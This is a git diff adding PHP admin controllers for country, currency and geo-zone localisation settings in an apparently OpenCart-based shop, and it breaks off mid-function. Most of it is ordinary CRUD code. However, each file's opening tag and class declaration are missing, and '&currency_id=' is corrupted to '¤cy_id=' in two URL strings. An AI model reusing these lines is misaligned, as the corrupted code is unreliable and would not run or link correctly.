+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['country_id'])) {
+ $data['action'] = $this->url->link('localisation/country/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/country/edit', 'user_token=' . $this->session->data['user_token'] . '&country_id=' . $this->request->get['country_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/country', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['country_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $country_info = $this->model_localisation_country->getCountry($this->request->get['country_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($country_info)) {
+ $data['name'] = $country_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['iso_code_2'])) {
+ $data['iso_code_2'] = $this->request->post['iso_code_2'];
+ } elseif (!empty($country_info)) {
+ $data['iso_code_2'] = $country_info['iso_code_2'];
+ } else {
+ $data['iso_code_2'] = '';
+ }
+
+ if (isset($this->request->post['iso_code_3'])) {
+ $data['iso_code_3'] = $this->request->post['iso_code_3'];
+ } elseif (!empty($country_info)) {
+ $data['iso_code_3'] = $country_info['iso_code_3'];
+ } else {
+ $data['iso_code_3'] = '';
+ }
+
+ if (isset($this->request->post['address_format'])) {
+ $data['address_format'] = $this->request->post['address_format'];
+ } elseif (!empty($country_info)) {
+ $data['address_format'] = $country_info['address_format'];
+ } else {
+ $data['address_format'] = '';
+ }
+
+ if (isset($this->request->post['postcode_required'])) {
+ $data['postcode_required'] = $this->request->post['postcode_required'];
+ } elseif (!empty($country_info)) {
+ $data['postcode_required'] = $country_info['postcode_required'];
+ } else {
+ $data['postcode_required'] = 0;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($country_info)) {
+ $data['status'] = $country_info['status'];
+ } else {
+ $data['status'] = '1';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/country_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/country')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 128)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/country')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+ $this->load->model('localisation/zone');
+ $this->load->model('localisation/geo_zone');
+
+ foreach ($this->request->post['selected'] as $country_id) {
+ if ($this->config->get('config_country_id') == $country_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCountryId($country_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $address_total = $this->model_customer_customer->getTotalAddressesByCountryId($country_id);
+
+ if ($address_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_address'), $address_total);
+ }
+
+ $zone_total = $this->model_localisation_zone->getTotalZonesByCountryId($country_id);
+
+ if ($zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone'), $zone_total);
+ }
+
+ $zone_to_geo_zone_total = $this->model_localisation_geo_zone->getTotalZoneToGeoZoneByCountryId($country_id);
+
+ if ($zone_to_geo_zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone_to_geo_zone'), $zone_to_geo_zone_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ public function country() {
+ $json = array();
+
+ $this->load->model('localisation/country');
+
+ $country_info = $this->model_localisation_country->getCountry($this->request->get['country_id']);
+
+ if ($country_info) {
+ $this->load->model('localisation/zone');
+
+ $json = array(
+ 'country_id' => $country_info['country_id'],
+ 'name' => $country_info['name'],
+ 'iso_code_2' => $country_info['iso_code_2'],
+ 'iso_code_3' => $country_info['iso_code_3'],
+ 'address_format' => $country_info['address_format'],
+ 'postcode_required' => $country_info['postcode_required'],
+ 'zone' => $this->model_localisation_zone->getZonesByCountryId($this->request->get['country_id']),
+ 'status' => $country_info['status']
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/currency.php b/public/admin/controller/localisation/currency.php
new file mode 100644
index 0000000..069b409
--- /dev/null
+++ b/public/admin/controller/localisation/currency.php
@@ -0,0 +1,463 @@
+load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_currency->addCurrency($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_currency->editCurrency($this->request->get['currency_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $currency_id) {
+ $this->model_localisation_currency->deleteCurrency($currency_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function refresh() {
+ $this->load->language('localisation/currency');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/currency');
+
+ if ($this->validateRefresh()) {
+ $this->model_localisation_currency->refresh(true);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ //$this->response->redirect($this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/currency/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/currency/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['refresh'] = $this->url->link('localisation/currency/refresh', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['currencies'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $currency_total = $this->model_localisation_currency->getTotalCurrencies();
+
+ $results = $this->model_localisation_currency->getCurrencies($filter_data);
+
+ foreach ($results as $result) {
+ $data['currencies'][] = array(
+ 'currency_id' => $result['currency_id'],
+ 'title' => $result['title'] . (($result['code'] == $this->config->get('config_currency')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'value' => $result['value'],
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'edit' => $this->url->link('localisation/currency/edit', 'user_token=' . $this->session->data['user_token'] . '¤cy_id=' . $result['currency_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . '&sort=date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $currency_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($currency_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($currency_total - $this->config->get('config_limit_admin'))) ? $currency_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $currency_total, ceil($currency_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/currency_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['currency_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['currency_id'])) {
+ $data['action'] = $this->url->link('localisation/currency/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/currency/edit', 'user_token=' . $this->session->data['user_token'] . '¤cy_id=' . $this->request->get['currency_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/currency', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['currency_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $currency_info = $this->model_localisation_currency->getCurrency($this->request->get['currency_id']);
+ }
+
+ if (isset($this->request->post['title'])) {
+ $data['title'] = $this->request->post['title'];
+ } elseif (!empty($currency_info)) {
+ $data['title'] = $currency_info['title'];
+ } else {
+ $data['title'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($currency_info)) {
+ $data['code'] = $currency_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['symbol_left'])) {
+ $data['symbol_left'] = $this->request->post['symbol_left'];
+ } elseif (!empty($currency_info)) {
+ $data['symbol_left'] = $currency_info['symbol_left'];
+ } else {
+ $data['symbol_left'] = '';
+ }
+
+ if (isset($this->request->post['symbol_right'])) {
+ $data['symbol_right'] = $this->request->post['symbol_right'];
+ } elseif (!empty($currency_info)) {
+ $data['symbol_right'] = $currency_info['symbol_right'];
+ } else {
+ $data['symbol_right'] = '';
+ }
+
+ if (isset($this->request->post['decimal_place'])) {
+ $data['decimal_place'] = $this->request->post['decimal_place'];
+ } elseif (!empty($currency_info)) {
+ $data['decimal_place'] = $currency_info['decimal_place'];
+ } else {
+ $data['decimal_place'] = '';
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($currency_info)) {
+ $data['value'] = $currency_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($currency_info)) {
+ $data['status'] = $currency_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/currency_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['title']) < 3) || (utf8_strlen($this->request->post['title']) > 32)) {
+ $this->error['title'] = $this->language->get('error_title');
+ }
+
+ if (utf8_strlen($this->request->post['code']) != 3) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $currency_id) {
+ $currency_info = $this->model_localisation_currency->getCurrency($currency_id);
+
+ if ($currency_info) {
+ if ($this->config->get('config_currency') == $currency_info['code']) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByCurrency($currency_info['code']);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByCurrencyId($currency_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateRefresh() {
+ if (!$this->user->hasPermission('modify', 'localisation/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/geo_zone.php b/public/admin/controller/localisation/geo_zone.php
new file mode 100644
index 0000000..ffda97b
--- /dev/null
+++ b/public/admin/controller/localisation/geo_zone.php
@@ -0,0 +1,377 @@
+load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_geo_zone->addGeoZone($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_geo_zone->editGeoZone($this->request->get['geo_zone_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/geo_zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/geo_zone');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $geo_zone_id) {
+ $this->model_localisation_geo_zone->deleteGeoZone($geo_zone_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/geo_zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/geo_zone/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['geo_zones'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $geo_zone_total = $this->model_localisation_geo_zone->getTotalGeoZones();
+
+ $results = $this->model_localisation_geo_zone->getGeoZones($filter_data);
+
+ foreach ($results as $result) {
+ $data['geo_zones'][] = array(
+ 'geo_zone_id' => $result['geo_zone_id'],
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'edit' => $this->url->link('localisation/geo_zone/edit', 'user_token=' . $this->session->data['user_token'] . '&geo_zone_id=' . $result['geo_zone_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_description'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . '&sort=description' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $geo_zone_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($geo_zone_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($geo_zone_total - $this->config->get('config_limit_admin'))) ? $geo_zone_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $geo_zone_total, ceil($geo_zone_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/geo_zone_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['geo_zone_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['description'])) {
+ $data['error_description'] = $this->error['description'];
+ } else {
+ $data['error_description'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['geo_zone_id'])) {
+ $data['action'] = $this->url->link('localisation/geo_zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/geo_zone/edit', 'user_token=' . $this->session->data['user_token'] . '&geo_zone_id=' . $this->request->get['geo_zone_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/geo_zone', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['geo_zone_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $geo_zone_info = $this->model_localisation_geo_zone->getGeoZone($this->request->get['geo_zone_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($geo_zone_info)) {
+ $data['name'] = $geo_zone_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['description'])) {
+ $data['description'] = $this->request->post['description'];
+ } elseif (!empty($geo_zone_info)) {
+ $data['description'] = $geo_zone_info['description'];
+ } else {
+ $data['description'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['zone_to_geo_zone'])) {
+ $data['zone_to_geo_zones'] = $this->request->post['zone_to_geo_zone'];
+ } elseif (isset($this->request->get['geo_zone_id'])) {
+ $data['zone_to_geo_zones'] = $this->model_localisation_geo_zone->getZoneToGeoZones($this->request->get['geo_zone_id']);
+ } else {
+ $data['zone_to_geo_zones'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/geo_zone_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/geo_zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['description']) < 3) || (utf8_strlen($this->request->post['description']) > 255)) {
+ $this->error['description'] = $this->language->get('error_description');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/geo_zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('localisation/tax_rate');
+
+ foreach ($this->request->post['selected'] as $geo_zone_id) {
+ $tax_rate_total = $this->model_localisation_tax_rate->getTotalTaxRatesByGeoZoneId($geo_zone_id);
+
+ if ($tax_rate_total) {
